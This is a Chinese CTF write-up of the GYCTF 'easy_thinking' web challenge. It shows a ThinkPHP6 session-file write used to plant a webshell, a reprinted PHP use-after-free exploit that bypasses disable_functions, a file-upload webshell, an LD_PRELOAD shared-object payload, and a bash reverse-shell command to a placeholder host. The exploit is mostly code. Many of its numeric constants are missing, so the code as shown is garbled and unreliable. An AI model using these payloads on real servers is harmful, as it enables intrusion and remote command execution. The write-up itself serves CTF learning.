GYCTF easy_thinking
前期储备:ThinkPHP6 任意文件操作漏洞分析 https://paper.seebug.org/1114/
学习链接:
https://www.freebuf.com/articles/web/192052.html
https://bugs.php.net/bug.php?id=72530
https://www.gem-love.com/ctf/1669.html#easy_thinking
https://www.jianshu.com/p/b0a130fe5c4d
复现:
源码泄露,看了一下是tp6框架,代码审计一下
常见的系统命令函数:

修改session,长度为32位,session后缀改为.php{加上.php后为32位}
在搜索框搜索的内容会直接保存在/runtime/session/目录下,直接getshell
但是上传了一句话连不上去(菜刀8行,可以用antsword),看一下phpinfo,发现许多函数都被ban了,这里学习到了师傅的方法:https://www.gem-love.com/ctf/1669.html#easy_thinking
exp:https://github.com/mm0r1/exploits
<?php
pwn("/readflag"); //这里是想要执行的系统命令
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = , $s = ) {
$address = ;
for($j = $s-; $j >= ; $j--) {
$address <<= ;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = ) {
$out = "";
for ($i=; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= ;
}
return $out;
}
function write(&$str, $p, $v, $n = ) {
$i = ;
for($i = ; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= ;
}
}
function leak($addr, $p = , $s = ) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != ) { $leak %= << ($s * ) - ; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, );
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, );
$e_phnum = leak($base, 0x38, );
for($i = ; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, , );
$p_flags = leak($header, , );
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == && $p_flags == ) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == && $p_flags == ) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = ; $i < $data_size / ; $i++) {
$leak = leak($data_addr, $i * );
if($leak - $base > && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + ) * );
if($leak - $base > && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * ;
}
}
function get_binary_base($binary_leak) {
$base = ;
$start = $binary_leak & 0xfffffffffffff000;
for($i = ; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, , );
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, , );
if($f_name == 0x6d6574737973) { # system
return leak($addr + );
}
$addr += 0x20;
} while($f_entry != );
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = ;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = ; # increase this value if you get segfaults
$contiguous = [];
for($i = ; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', );
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[] = ptr2str(, );
unset($v);
$abc = $out[][];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == || strlen($abc) == ) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, );
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, );
write($abc, 0x70, );
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, );
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = ; $i < 0x110; $i += ) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, , ); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
bypss这些函数要使用到脚本,可是不可能一次性上传大的脚本,于是写了个小马,构造一个表单上传脚本
<?php if(@$_GET["act"]=="save"){if(isset($_POST["content"])&&isset($_POST["name"])){if($_POST["content"]!=""&&$_POST["name"]!=""){if(fwrite(fopen(stripslashes($_POST["name"]),"w"),stripslashes($_POST["content"]))){echo "OK! <a href=\"".stripslashes($_POST["name"])."\">".stripslashes($_POST["name"])."</a>";};}}}else{if(@$_GET["act"]=="godsdoor"){echo '<meta charset="utf-8"><form action="?act=save" method="post">content:<br/><textarea name="content" ></textarea><br/>filenane:<br/><input name="name"/><br/><input type="submit" value="GO!"></form>';}}
?>
上面师傅的blog里还学到了另一个情况,(2019第十届极客挑战赛RCE ME)
通常情况下使用LD_PRELOAD劫持系统函数,参考https://www.freebuf.com/articles/web/192052.html
但是这个题ban了mail(),所以不能用。
与本题类似题目:
2019高校网络信息安全管理运维挑战赛的expass,利用php2016年的漏洞https://bugs.php.net/bug.php?id=72530
脚本是一样的 (师傅tpl!!!)
小记 一般导致webshell不能执行命令的原因
一是 php.ini 中用 disable_functions 指示器禁用了 system()、exec() 等等这类命令执行的相关函数;
二是 web 进程运行在 rbash 这类受限 shell 环境中;
三是 WAF 拦劫。若是一则无法执行任何命令,
若是二、三则可以执行少量命令。从当前现象来看,很可能由 disable_functions 所致。利用前面的 RCE 漏洞执行 phpinfo()可查证推测
绕过思路:
有四种绕过 disable_functions 的手法:
第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;
第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;
第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;
第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果(要求PHP支持 putenv()、mail())
如果mail(),putenv()被ban了,就试一下介个脚本
官方wp:
看了官方wp--------------
如果phpinfo里面有 gnupg 拓展,该拓展能够实现在 php 中使用 gpg 加密,测试可以发现使用 gnupg 拓展下的 gnupg_init() 函数 可以进行 bypass。
exp.c
#include <stdlib.h>
__attribute__((constructor)) void j0k3r(){
unsetenv("LD_PRELOAD");
if (getenv("cmd") != NULL){
system(getenv("cmd"));
}else{
system("echo 'no cmd' > /tmp/cmd.output");
}
}
将本地生成exp.so ( gcc --share -fPIC exp.c -o exp.so )传入/tmp/下
再传入
<?php putenv("cmd=/bin/bash -c 'bash -i >& /dev/tcp/host/port 0>&1'");putenv("LD_PRELOAD=/tmp/exp.so");gnupg_init();?>
反弹shell,读取文件就可以了
但是我刚开官方wp的时候,很迷惑,mail函数已经被ban了,为什么还可以用LD_PRELOAD突破bypass?????
在buu上复现的时候不行耶。。。。 我去研究研究。。。。。知道了再来写
GYCTF easy_thinking的更多相关文章
- GYCTF Flaskapp[SSTI模板注入 ]
题目复现传送门 学习链接: 找了个师傅的blog先学习一下基础的flask知识 https://www.freebuf.com/column/187845.html(从零学flask) 简单记录一下: ...
- GYCTF 盲注【regexp注入+时间盲注】
考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...
- GYCTF easyphp 【反序列化配合字符逃逸】
基础知识可以参考我之前写的那个 0CTF 2016 piapiapia 那个题只是简单记录了一下,学习了一下php反序列化的思路 https://www.cnblogs.com/tiaopideju ...
- GYCTF Node game
考点: NodeJS 代码审计 SSRF 请求夹带 复现: 不太懂js,先留着吧,学懂了再记录
- GYCTF ezupload
上传一句话,没有任何过滤 菜刀连接后,读取flag文件 bash -c/readflag >tmp cat tmp 上面是非预期的解法.应该是题出问题了.看了一个师傅的blog,看源码,发现预期 ...
- easy_thinking
登陆抓包,改成32位,根据tp6任意创建文件的漏洞,修改cookie. 上传文件. 木马在/runtime/session下, 然后传bypass文件绕过disablefunction,得到flag
- [BUUOJ记录] [GYCTF]EasyThinking
主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法. ThinkPHP6.0.0任意文件操作漏洞 理论分析 进入题目是一个简单的操作页面,dirma ...
- GYCTF Web区部分WP
目录: Blacklist Easyphp Ezsqli FlaskApp EasyThinking 前言: 这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题 ...
- 原型链污染(Node.js污染,javasrcipt原型链污染的)
学习链接: https://www.jianshu.com/p/6e623e9debe3 关于NJS https://xz.aliyun.com/t/7184 相关题是 GYCTF ez_expr ...
随机推荐
- Linux Shell 计算脚本执行过程用了多长时间
#!/bin/bash starttime=`date +'%Y-%m-%d %H:%M:%S'` #执行程序 endtime=`date +'%Y-%m-%d %H:%M:%S'`start_sec ...
- Windows渗透备忘录
Windows渗透备忘录 mimikatz mimikatz.exe ""privilege::debug"" ""sekurlsa::lo ...
- windows7精简iso
网站地址: https://www.90pan.com/b1268487 迅雷链接: magnet:?xt=urn:btih:EE4B0FE780B6EC97D6FB9A9D22A8EE1627DA7 ...
- Python核心编程:《8个实践性建议》
前言 我们在用Python进行机器学习建模项目的时候,每个人都会有自己的一套项目文件管理的习惯,我自己也有一套方法,是自己曾经踩过的坑踩过的雷总结出来的,现在在这里分享一下给大家,因为很多伙伴是接触P ...
- 查看mysql是否锁表了
1.查看表是否被锁: (1)直接在mysql命令行执行:show engine innodb status\G. (2)查看造成死锁的sql语句,分析索引情况,然后优化sql. (3)然后show p ...
- win10系统vscode c/c++配置环境
使用vscode可以完成轻量级的编译器环境搭建,使用vscode 搭建完整的c++开发环境见下网站: https://www.bilibili.com/video/av18436497/?spm_id ...
- Android实战项目——家庭记账本(四)
今天是开发的第四天,完成的主要内容如下: 1.账单查询功能的完善以及查询结果的显示和编辑 2.侧边栏布局的实现 3.首页fragment中本月与上月对比账目情况 实现的效果如图: 已添加的账单内容以及 ...
- Spring Boot源码(七):循环依赖
循环依赖 以及 spring是如何解决循环依赖的 循环依赖 通俗来说 就是beanA中依赖了beanB,beanB中也依赖了beanA. spring是支持循环依赖的,但是默认只支持单例的循环依赖,如 ...
- idea 阿波罗(apollo)设置
项目启动时需要配置环境
- nunjucks模板设计一个页面
使用nunjucks代替原来的ejs,因为这个更强大,是node中主流的模板引擎 nunjucks官网 配置使用 nunjucks 模板引擎 nunjucks 模板引擎没有对模板文件名的后缀名做特定限 ...